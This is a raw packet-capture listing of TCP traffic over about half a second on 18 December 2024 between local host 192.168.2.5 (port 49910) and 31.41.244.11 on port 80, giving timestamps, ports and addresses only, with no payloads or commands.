Dec 18, 2024 15:22:10.579674959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.579806089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.583962917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.584057093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.584120035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.584254980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.588717937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.588797092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.588882923 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.588884115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.593055964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.593136072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.593220949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.593277931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.597443104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.597723007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.597728968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.597784996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.601965904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.602057934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.602082014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.602130890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.606600046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.606647968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.606678963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.606702089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.609968901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.610100985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.610126972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.610163927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.613472939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.613662958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.613671064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.614135981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.616962910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.617027044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.617151022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.617151022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.620434046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.620527029 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.620637894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.620732069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.623991966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.624074936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.624106884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.624161959 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.627473116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.627585888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.627594948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.627633095 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.630916119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.630995035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.631025076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.631155968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.740883112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.741008043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.741054058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.741216898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.741847992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.741986036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.742388964 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.742479086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.742486000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.742639065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.745245934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.745261908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.745357990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.745373964 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.748013973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.748138905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.748518944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.748518944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.750549078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.750644922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.750699043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.750799894 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.753220081 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.753333092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.753348112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.753453970 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.755898952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.756040096 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.756202936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.756421089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.758399010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.758475065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.758539915 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.758615971 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.760895967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.760961056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.761007071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.761008024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.763448000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.763526917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.763557911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.763586998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.765995979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.766107082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.766134024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.766185045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.768455982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.768507004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.768587112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.768634081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.770976067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.771076918 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.771107912 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.771167040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.773443937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.773554087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.773614883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.773739100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.775964975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.776117086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.776254892 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.776432037 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.778471947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.778544903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.778558969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.778853893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.780987024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.781088114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.781105995 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.781140089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.783494949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.783575058 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.783612013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.783934116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.785990953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.786057949 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.786077023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.786113977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.788543940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.788624048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.788765907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.788925886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.791083097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.791096926 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.791332960 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.793591022 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.793679953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.793741941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.793788910 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.796086073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.796192884 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.796227932 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.796293974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.798715115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.798841000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.798850060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.798927069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.801090002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.801220894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.801273108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.801273108 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.803580999 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.803599119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.803637981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.803658962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.806143045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.806205034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.806215048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.806363106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.808644056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.808728933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.808765888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.808852911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.811247110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.811300993 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.811326027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.811343908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.813776970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.813906908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.813925028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.814156055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.816234112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.816351891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.816440105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.816576958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.818759918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.818897963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.818936110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.818952084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.821621895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.821697950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.821728945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.821959972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.823771000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.823894978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.823911905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.823976994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.826304913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.826390028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.826409101 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.826576948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.828891039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.828985929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.829009056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.829070091 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.831540108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.831558943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.831615925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.831615925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.833898067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.833909035 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.833997965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.932786942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.932934046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.932934999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.933110952 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.935681105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.935818911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.936815023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.936970949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.938203096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.938241959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.938263893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.938297987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.939954996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.940099001 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.940129995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.940226078 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.942213058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.942229986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.942298889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.942298889 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.942732096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.942770004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.942805052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.942878008 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.947484970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.947521925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.947603941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.947623014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.948438883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.948473930 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.948512077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.948580980 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.950237036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.950387955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.950402975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.950467110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.952107906 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.952195883 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.952394009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.952548027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.954143047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.954176903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.954210997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.954210997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.955976009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.956069946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.956152916 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.956217051 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.957947969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.957984924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.958091974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.958091974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.959816933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.959852934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.959882021 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.959980965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.961751938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.961865902 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.961879969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.961993933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.962030888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.962079048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.962143898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.962143898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.963553905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.963610888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.963618040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.963676929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.965349913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.965420961 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.965472937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.965558052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.967156887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.967268944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.967274904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.967336893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.969052076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.969162941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.969167948 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.969259977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.970868111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.970904112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.970988035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.970988035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.972712040 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.972790956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.972862959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.972908974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.974577904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.974644899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.974710941 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.974776030 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.976408958 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.976512909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.976545095 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.976602077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.978250980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.978372097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.978411913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.978450060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.980120897 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.980230093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.980235100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.980293989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.982063055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.982115984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.982141018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.982171059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.983798981 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.983865023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.983925104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.983990908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.985665083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.985728979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.985795021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.985951900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.987571955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.987642050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.987643957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.987715006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.989427090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.989530087 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.989531994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.989583969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.991200924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.991328955 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.991337061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.991396904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.993060112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.993135929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.993248940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.993315935 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:10.994890928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:10.994957924 CET	49910	80	192.168.2.5	31.41.244.11
